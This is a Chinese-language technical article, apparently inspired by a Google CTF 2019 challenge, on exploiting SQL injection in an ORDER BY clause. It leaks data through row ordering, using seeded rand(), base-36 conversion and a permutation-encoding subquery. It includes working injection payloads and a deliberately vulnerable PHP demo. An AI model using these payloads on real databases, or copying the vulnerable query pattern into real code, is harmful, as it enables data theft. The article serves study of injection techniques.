ordey-by-leak-of-sql-injection

0x01 介绍

前些日子在看googlectf 2019的时候,其中一道web题涉及order by上的注入点,觉得很有趣。第一次思考如何通过一次SQL查询,尽可能得到更多有用的信息。

这里我们先给出一个小的demo:

1
2
3
4
5
$db = new mysqli(null, $dbuser, $dbpass, $dbname, null, $socket);
$inject = $db->escape_string($_GET['order']);
$sql = "select * from user order by $inject";
$result = $db->query($sql);
show_fileds($result); // 依次输出每一条数据

很显然,注入点在order by后面,而order by后面是不能带union select,所以这里很显然是一个盲注。并且,我们确保了这里不存在"报错注入"的可能。这里唯一输出是user表的所有行的内容。每次输出的唯一差异性在于user每一行的输出顺序。

因此,这里有个一个非常自然的想法: 是否可以通过输出顺序去间接地泄露一些信息呢

如果按照这个思路去考虑问题。我们首先需要将输出顺序和特定数据对应起来。简单来说,我们需要建一张表:

1
2
3
4
5
6
7
8
9
table = [
order0 => '0',
order1 => '1',
...
order9 => '9',
ordera => 'a',
...
orderz => 'z',
]
反过来,如果我们想要通过一次SQL查询泄露的某个字符c, 就需要让输出顺序对应上orderc

0x02 利用rand()

如果在order by后面加上rand(),我们可以让输出顺序呈现一种随机状态。这是因为,mysql在这里进行了额外的filesort。具体来说,在每次从表里取出一行数据的时候,就会执行一下rand()得到一个随机数。这样每一行数据都对应上了一个数字,最后我们根据这个数字对所以数据行进行重排。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
MariaDB [test]> select * from user;
+------------+--------------+
| date | winner |
+------------+--------------+
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-14 | L4CY1JMRBEAW |
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-04-27 | 31OSKU57KV49 |
+------------+--------------+

MariaDB [test]> select * from user order by rand();
+------------+--------------+
| date | winner |
+------------+--------------+
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-04-14 | L4CY1JMRBEAW |
+------------+--------------+

这个利用方式似乎离我们的想法更近了一些。至少我们可以得到不同的输出顺序了,但是坏处是我们并不能去控制它。幸运地是我们可以通过rand(1)来固定产生随机数的种子。这样会使得在filesort阶段产生的随机数序列是稳定的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
MariaDB [test]> select * from user order by rand(1);
+------------+--------------+
| date | winner |
+------------+--------------+
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-04-14 | L4CY1JMRBEAW |
+------------+--------------+
9 rows in set (0.001 sec)

MariaDB [test]> select * from user order by rand(1);
+------------+--------------+
| date | winner |
+------------+--------------+
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-04-14 | L4CY1JMRBEAW |
+------------+--------------+
9 rows in set (0.001 sec)

这样输出顺序我们可以通过固定rand()的种子来控制。这里我们假设需要泄露数据只包含出现在0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ的字符。

如果我们需要泄露的数据为database name,那么我们可以通过构造下面的order by来泄露它的第1个字符:

1
rand(conv(substr(database(),1,1),36,10))
如此这样,我们就可以得到完整的database name。

0x03 一次查询泄露多个字符

通过前面的手法我们可以通过每次查询泄露单个字符。这里单个字符的可能性有36种,因此我们只需要用到36个不一样的输出顺序。但是实际可能的输出顺序可能有n!种,其中n表示表中有多少条数据。比如n = 9时,这里就有362880种输出顺序。理论上,我们可以通过一次查询泄露362880种不同数据中的一个。前面的做法,似乎严重浪费了这里的理论性能。

所以我们可以考虑一次泄露多位字符,m位字符对应了36^m种可能。那么我们一次最多可以字符串位数为int(log_36 (n!))。比如n = 9时,我们可以一次性泄露3位字符(log36(9!)=3.572417978)。

那么接下来的问题就是,我们如何利用输出顺序来编码这些多位字符。同样地,我们可以利用

1
rand(conv(substr(database(),1,3),36,10))
来泄露前3位字符。

0x04 自定义encode/decode

考虑一个比较hard的环境:

假设rand()也无法使用。

为了方便讨论,这里我们假设表里面有9条数据,即n = 9。我们用数字表示[0, 9!-1]表示可能的输出顺序。基于前面讨论,我们考虑一次性泄露3位字符,我们将其对应到[0, 36^3 - 1]上。

[0, 9!]中的任意一个数字c,我们可以将其表示为R = (r1, r2, r3, r4, r5, r6, r7, r8, r9),其中

1
2
3
4
5
6
7
8
9
c  = d9 * 9 + r9 // r9 in [0, 8]
d9 = d8 * 8 + r8 // r8 in [0, 7]
d8 = d7 * 7 + r7 // r7 in [0, 6]
d7 = d6 * 6 + r6 // r6 in [0, 5]
d6 = d5 * 5 + r5 // r5 in [0, 4]
d5 = d4 * 4 + r4 // r4 in [0, 3]
d4 = d3 * 3 + r3 // r3 in [0, 2]
d3 = d2 * 2 + r2 // r2 in [0, 1]
d2 = 1 * r1 // r1 in [0, 1]
同样地,我们可以按照上述等式将R还原为c。具体可以看看康托展开。

假设9个条数据分布为data1, data2, ... , data9。初步想法,我们将data_i的位置,表示r_i的大小。举个例子,若输出顺序为:

1
data1, data2, data3, ... , data9
那么r1 = 0,, r2 = 1, r3 = 2, ... r9 = 8。但这有一个问题: 如果存在两个r_i == r_j,输出顺序应该是什么? 幸运地是,在实际操作中我们可以避开这个问题。

对于任意一个3位字符串对应的数字表示@secret,我们可以通过下述查询将其转换为R并输出:

1
2
3
4
5
6
7
8
9
select * 
from user
order by
(select concat(
(select 1 from(select @l:=0x303132333435363738,@d:=9,@b:=@secret)x),
substr(@l,1+mod(@b,@d),1),
@l:=concat(substr(@l,1,mod(@b,@d)),
substr(@l,2+mod(@b,@d))),
@b:=@b div @d,@d:=@d-1));

  1. 第5行,主要作用是初始化3个变量:
    • @l实际为字符串012345678的16进制表示。
    • @d为9, 对应前面第一个等式中的除数。
    • @b@secret
    注意这里是一个subquery,并且不correlated,即没有用到outer query的任何数据。所以它只会执行一次。并且它对应结果始终为1,仅仅给每行对应的order value加了一个相同前缀,并不影响最后的order结果。其中from (...)x是derived table的一个用法,保证这里不会出现syntax error。
  2. 第6行,计算得到r_i,注意它通过当前@l的第r_i + 1个字符来表示的。而不是实际的r_i。例如这里@l可能为"12467",当r_i=3时,它对应结果为字符6。这里完美地,绕开我们前面提到的问题。对于decode过程,我们只需要还原每一步的@l即可以得到正确的r_i
  3. 第7-8行,更新@l, 去掉r_i对应的字符。
  4. 第9行,更新@b = d_i@r = i - 1

注意: 前面提到过,order by后面的语句会对每一行都执行一次,除了上面我们提到的subquery。所以每一行都会拿到对应的r_i

0x05 其他

对于超长字符的猜解过程( > 90),我们可以考虑使用compress()来压缩。但是,我认为这有待进一步的探索,因为压缩之后可能会引入新的字符,随便会减少字符串的长度,但一定会增加猜解的范围。

总结

在本文中,我们讨论了几种关于注入点出现在order by子句时的可能的利用情况。我们重点讨论了,如何尽可能多的通过一次查询泄露更多的信息。同时涵盖了一种带特殊encode/decode的泄露方法。